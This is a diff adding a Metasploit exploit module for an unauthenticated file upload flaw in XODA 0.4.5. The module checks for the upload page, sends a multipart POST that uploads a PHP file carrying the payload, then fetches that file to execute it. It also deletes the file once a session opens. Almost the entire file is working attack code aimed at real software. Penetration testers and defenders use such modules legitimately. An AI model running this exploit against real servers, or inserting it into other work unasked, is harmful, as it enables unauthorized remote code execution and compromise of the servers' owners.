|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers |
| 20 | + can abuse the "upload" command in order to upload a malicious PHP file without any |
| 21 | + authentication, which results in arbitrary code execution. The module has been |
| 22 | + tested successfully on XODA 0.4.5 and Ubuntu 10.04. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Shai rod', # Vulnerability Discovery and PoC |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'EDB', '20703' ] |
| 33 | + ], |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'BadChars' => "\x00" |
| 37 | + }, |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'ExitFunction' => "none" |
| 41 | + }, |
| 42 | + 'Platform' => ['php'], |
| 43 | + 'Arch' => ARCH_PHP, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + ['XODA 0.4.5', {}], |
| 47 | + ], |
| 48 | + 'Privileged' => false, |
| 49 | + 'DisclosureDate' => "Aug 21 2012", |
| 50 | + 'DefaultTarget' => 0)) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"]) |
| 55 | + ], self.class) |
| 56 | + end |
| 57 | + |
| 58 | + |
| 59 | + def check |
| 60 | + uri = target_uri.path |
| 61 | + uri << '/' if uri[-1,1] != '/' |
| 62 | + |
| 63 | + res = send_request_raw({ |
| 64 | + 'method' => 'GET', |
| 65 | + 'uri' => "#{uri}?upload_to=" |
| 66 | + }) |
| 67 | + |
| 68 | + if res and res.code == 200 and res.body =~ /Upload a file/ |
| 69 | + return Exploit::CheckCode::Detected |
| 70 | + else |
| 71 | + return Exploit::CheckCode::Safe |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + def on_new_session(client) |
| 76 | + if client.type == "meterpreter" |
| 77 | + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") |
| 78 | + client.fs.file.rm(@payload_name) |
| 79 | + else |
| 80 | + client.shell_command_token(@payload_name) |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + def exploit |
| 85 | + uri = target_uri.path |
| 86 | + uri << '/' if uri[-1,1] != '/' |
| 87 | + |
| 88 | + peer = "#{rhost}:#{rport}" |
| 89 | + @payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' |
| 90 | + |
| 91 | + boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}" |
| 92 | + |
| 93 | + post_data = "--#{boundary}\r\n" |
| 94 | + post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n" |
| 95 | + post_data << "<?php " |
| 96 | + post_data << payload.encoded |
| 97 | + post_data << " ?>\r\n" |
| 98 | + post_data << "--#{boundary}\r\n" |
| 99 | + post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n" |
| 100 | + post_data << "\r\n" |
| 101 | + post_data << "--#{boundary}--\r\n" |
| 102 | + |
| 103 | + print_status("#{peer} - Sending PHP payload (#{@payload_name})") |
| 104 | + res = send_request_cgi({ |
| 105 | + 'method' => 'POST', |
| 106 | + 'uri' => "#{uri}?upload", |
| 107 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 108 | + 'data' => post_data |
| 109 | + }) |
| 110 | + |
| 111 | + if not res or res.code != 302 |
| 112 | + print_error("#{peer} - File wasn't uploaded, aborting!") |
| 113 | + return |
| 114 | + end |
| 115 | + |
| 116 | + print_status("#{peer} - Executing PHP payload (#{@payload_name})") |
| 117 | + |
| 118 | + # Execute our payload |
| 119 | + res = send_request_cgi({ |
| 120 | + 'method' => 'GET', |
| 121 | + 'uri' => "#{uri}files/#{@payload_name}" |
| 122 | + }) |
| 123 | + |
| 124 | + # If we don't get a 200 when we request our malicious payload, we suspect |
| 125 | + # we don't have a shell, either. Print the status code for debugging purposes. |
| 126 | + if res and res.code != 200 |
| 127 | + print_status("#{peer} - Server returned #{res.code.to_s}") |
| 128 | + end |
| 129 | + end |
| 130 | + |
| 131 | +end |
0 commit comments